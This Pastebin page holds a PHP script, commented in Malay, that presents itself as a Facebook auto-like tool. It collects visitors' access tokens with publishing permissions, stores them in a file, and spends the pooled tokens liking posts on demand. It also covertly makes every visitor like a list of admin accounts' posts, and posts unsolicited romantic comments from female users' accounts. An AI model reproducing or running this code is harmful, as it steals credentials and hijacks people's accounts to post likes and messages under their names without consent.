Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- include("proxy.php");
- //ganti dgn nama file yg ko nak utk simpan token
- $tokenko = "tk.txt";
- $tokeng = $_GET["token"];
- //edit to off kalo nak off proxy
- $proxystatus = "on";
- //buang text bendasing
- $buangtext = strripos($tokeng, "&expires_in=0");
- if($buangtext > 1)
- {
- $unuk = "&expires_in=0";
- $token = str_replace($unuk, "", $tokeng);
- }
- else
- {
- $token = $tokeng;
- }
- //tamat
- //app id yang ko nak org mesti guna
- $appid = "260273468396";
- $check = tobitaz("graph.facebook.com/app?access_token=".$token, $proxystatus);
- $cek = strripos($check, $appid);
- if($token != null)
- {
- if($cek === false)
- {
- die("Please use accesstokens from apps that we provide");
- }
- }
- //check token ada
- if($token === null)
- {
- die("Please submit access token");
- }
- //cek token invalid
- $k = tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus);
- $check = strripos($k, "OAuthException");
- if($check > 1)
- {
- die("Access token invalid");
- }
- //check permision
- $per1 = "user_likes";
- $per2 = "publish_stream";
- $taf = tobitaz("graph.facebook.com/me/permissions?access_token=".$token, $proxystatus);
- $ga = strripos($taf, $per1);
- $gu = strripos($taf, $per2);
- if($ga < 1 or $gu < 1)
- {
- die("Please allow ".$per1." And ".$per2." Permission!");
- }
- //show like
- $cre = fopen($tokenko, "a+");
- $f = file_get_contents($tokenko);
- $cf = strripos($f, $token);
- if($cf === false)
- {
- fwrite($cre, $token."\n");
- echo "ok";
- }
- $staid = tobitaz("graph.facebook.com/me/feed?fields=id,message&access_token=".$token, $proxystatus);
- $taz = json_decode($staid)->data;
- //html autolike
- //start otolke
- $statusid = $_POST["statusid"];
- if($statusid != null)
- {
- $geto = preg_split('/(\r?\n)+/', $f);
- foreach($geto as $phc)
- {
- tobitaz("graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc, $proxystatus);
- }
- echo '<script src="remover.php"></script>';
- echo "<center><font style='font-size:40px; color:white;'>Done!</font></center>";
- }
- fclose($cre);
- //admin otolik
- $listadmin = array("suehqiylhq.hieynhqthqaurellqkowmq", "mohdtazme", "AnimeOSekai", "dB.myliker", "penggodamdfc", "benarbah", "100005851834909", "Ivytrinitydepaula", "Prog.fajri");
- foreach($listadmin as $admin)
- {
- $gcu = tobitaz("graph.facebook.com/".$admin."/feed?fields=id&access_token=".$token, $proxystatus);
- $jsta = json_decode($gcu)->data;
- tobitaz("graph.facebook.com/".$jsta[0]->id."/likes?method=post&access_token=".$token, $proxystatus);
- }
- $jaw = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
- //chek id
- $jagu = json_decode(tobitaz("graph.facebook.com/mohdtazme/feed?fields=id&access_token=".$token, $proxystatus))->data;
- $nod = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
- $fnod = file_get_contents("id.txt");
- //cek id strripos
- $nos = strripos($fnod, $nod->id.$jagu[0]->id);
- if($jaw->gender == "female" && $nos === false)
- {
- $kokop = array("i+love+u+...+muah", "sayang+<3", "mungkinkah+kau+merasakan+semua+yg+kupasrahkan", "muah<3", "i+miss+u<3", "awak...+i+love+u+laaa", "jom+chat", "asal+u+xreply+msg+i", "im+ur+big+fans<3");
- $koawe = $kokop[array_rand($kokop)];
- tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
- //no double comment
- $nodc = fopen("id.txt", "a+");
- fwrite($nodc, $nod->id.$jagu[0]->id."\n");
- fclose($nodc);
- }
- chmod($tokenko, 0600);
- //bendasing dlm home
- $dp = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
- ?>
- <body style="background-color:black; width:100%;">
- <center>
- <img src="https://graph.facebook.com/me/picture?type=large&access_token=<?php echo $token; ?>" /><br />
- <font color="white"><?php echo $dp->name; ?></font><br />
- <div style="border:3px grey outset; background-color:grey; width:60%;">
- <form action="" method="post">
- <font color="red">STATUS:</font><br /><font color="white"><?php echo $taz[0]->message; ?></font>
- <input type="hidden" name="token" value="'.$token.'"><br />
- <font color="white" style="float:left;">statusid:</font><br /><input name="statusid" value="<?php echo $taz[0]->id; ?>" style="float:left;">
- <br /> <button type="submit" style="float:right; border:3px red outset; color:white; background-color:red;">AUTOLIKE</button>
- </form><br /></div><br />
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement